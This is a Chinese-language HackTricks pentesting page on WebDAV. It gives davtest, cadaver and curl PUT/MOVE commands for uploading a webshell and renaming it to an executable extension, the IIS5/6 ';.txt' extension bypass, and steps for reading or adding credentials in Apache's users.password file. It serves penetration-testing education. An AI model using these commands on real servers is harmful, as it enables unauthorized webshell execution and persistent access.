> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/network-services-pentesting/pentesting-web/put-method-webdav.md).
# WebDav
\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)来轻松构建和**自动化工作流**，使用世界上**最先进**的社区工具。\
立即获取访问权限：
{% embed url="" %}
从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！
支持HackTricks的其他方式：
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
当处理启用了**WebDav的HTTP服务器**时，如果具有正确的**凭据**（通常通过**HTTP基本身份验证**验证），则可以**操纵文件**。控制这样的服务器通常涉及**上传和执行Webshell**。
访问WebDav服务器通常需要**有效的凭据**，使用[**WebDav暴力破解**](/generic-methodologies-and-resources/brute-force.md#http-basic-auth)是获取凭据的常见方法。
为了克服文件上传的限制，特别是阻止服务器端脚本执行的限制，您可以：
* 直接**上传**具有**可执行扩展名**的文件，如果没有受限制。
* 将已上传的非可执行文件（如.txt）重命名为可执行扩展名。
* 复制已上传的非可执行文件，将其扩展名更改为可执行的扩展名。
## DavTest
**Davtest**尝试**上传具有不同扩展名的多个文件**，并**检查**是否**执行了扩展名**：
```bash
davtest [-auth user:password] -move -sendbd auto -url http:// #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every extension
```
## Cadaver
您可以使用此工具连接到 WebDav 服务器并手动执行操作（如上传、移动或删除）。
```
cadaver
```
## PUT 请求
PUT 请求用于向服务器上传文件。PUT 请求可以通过 WebDAV 协议来执行，允许用户在服务器上创建、修改或替换文件。PUT 请求在进行 Web 应用程序渗透测试时经常用到，因为它可以帮助测试人员上传恶意文件或者利用服务器上的漏洞。
```
curl -T 'shell.txt' 'http://$ip'
```
## MOVE 请求
```
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```
\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) 可以轻松构建和**自动化工作流**，使用世界上**最先进**的社区工具。\
立即获取访问权限：
{% embed url="" %}
## IIS5/6 WebDav漏洞
这个漏洞非常有趣。**WebDav** 不允许**上传**或**重命名**扩展名为\*\*.asp**的文件。但是你可以通过在文件名末尾**添加";.txt"**来**绕过**这个限制，文件将被执行为一个 .asp 文件（你也可以使用".html"代替".txt"，但**不要忘记";"\*\*）。
然后，你可以将你的shell上传为一个".**txt"文件**，并将其**复制/移动**为一个".asp;.txt"文件。通过web服务器访问该文件，它将被**执行**（cadaver会说移动操作失败，但实际上是成功的）。
## 提交凭据
如果Webdav正在使用Apache服务器，你应该查看Apache中配置的站点。通常在：\
\&#xNAN;***/etc/apache2/sites-enabled/000-default***
在其中你可能会找到类似以下内容：
```
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
```
正如您所看到的，这里有包含**WebDAV**服务器有效**凭证**的文件：
```
/etc/apache2/users.password
```
在这类文件中，您会找到**用户名**和**密码**的哈希值。这些是WebDAV服务器用来验证用户身份的凭据。
您可以尝试**破解**它们，或者如果出于某种原因您想要**访问**WebDAV服务器，也可以**添加更多**凭据：
```bash
htpasswd /etc/apache2/users.password #You will be prompted for the password
```
要检查新凭据是否有效，您可以执行以下操作：
```bash
wget --user --ask-password http://domain/path/to/webdav/ -O - -q
```
## 参考资料
*
从零开始学习AWS黑客技术 htARTE（HackTricks AWS红队专家）！
支持HackTricks的其他方式：
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)可以轻松构建和**自动化工作流程**，利用世界上**最先进**的社区工具。\
立即获取访问权限：
{% embed url="" %}